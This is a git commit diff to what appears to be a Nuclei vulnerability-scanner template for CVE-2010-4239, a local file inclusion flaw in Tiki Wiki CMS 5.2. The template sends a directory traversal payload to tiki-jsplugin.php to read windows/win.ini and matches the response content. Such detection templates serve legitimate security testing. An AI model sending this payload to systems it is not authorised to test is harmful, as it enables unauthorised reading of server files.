Update and rename CVE-2010-4239.yaml to cves/2010/CVE-2010-4239.yaml

patch-1
Prince Chaddha 2022-04-24 18:52:35 +04:00 committed by GitHub
parent d118190b3a
commit b3c4935a68
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 4 deletions

View File

@ -6,8 +6,8 @@ info:
severity: high
description: Tiki Wiki CMS Groupware 5.2 has Local File Inclusion
reference:
- https://www.cvedetails.com/cve/CVE-2010-4239
- https://dl.packetstormsecurity.net/1009-exploits/tikiwiki52-lfi.txt
- https://www.cvedetails.com/cve/CVE-2010-4239
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
@ -18,14 +18,13 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/tiki-5.2/tiki-jsplugin.php?plugin=x&language=../../../../../../../../../../windows/win.ini"
- "{{BaseURL}}/tiki-jsplugin.php?plugin=x&language=../../../../../../../../../../windows/win.ini"
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
part: body